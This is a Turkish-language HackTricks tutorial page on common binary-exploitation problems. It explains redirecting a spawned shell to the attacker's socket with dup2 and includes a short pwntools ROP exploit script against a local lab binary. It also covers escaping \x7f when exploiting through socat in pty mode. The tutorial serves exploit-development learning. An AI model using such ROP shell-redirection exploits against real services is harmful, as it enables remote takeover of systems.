hacktricks/binary-exploitation/common-exploiting-problems.md

3 KiB
Raw Blame History

Yaygın Sömürü Problemleri

Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

Uzaktan Sömürüde FD'ler

Örneğin bir uzak sunucuya bir sömürü gönderirken, sunucuda system('/bin/sh') çağrıldığında, bu tabii ki sunucu işlemi içinde yürütülecek ve /bin/sh stdin'den (FD: 0) giriş bekleyecek ve çıktıyı stdout ve stderr'de (FD'ler 1 ve 2) yazdıracaktır. Bu nedenle saldırgan kabukla etkileşimde bulunamayacaktır.

Bunu düzeltmenin bir yolu, sunucunun başlatıldığında FD numarası 3 (dinleme için) oluşturduğunu ve ardından bağlantınızın FD numarasının 4 olacağını varsaymaktır. Bu nedenle, dup2 sistem çağrısını kullanarak stdin'i (FD 0) ve stdout'u (FD 1) saldırgan bağlantısının FD 4'ünde (saldırganın bağlantısının olduğu) çoğaltmak mümkün olacak ve böylece kabukla iletişim kurulabilecektir. Çünkü kabuk yürütüldüğünde.

Buradan örnek sömürüye ulaşın:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Socat zaten stdin ve stdout'u sokete aktarır. Ancak, pty modu SİLME karakterlerini içerir. Bu nedenle, bir \x7f ( SİLME -) gönderirseniz, exploitinizin önceki karakterini silecektir.

Bunu atlatmak için, herhangi bir gönderilen \x7f'den önce kaçış karakteri \x16 eklenmelidir.

Burada bu davranışın bir örneğini bulabilirsiniz.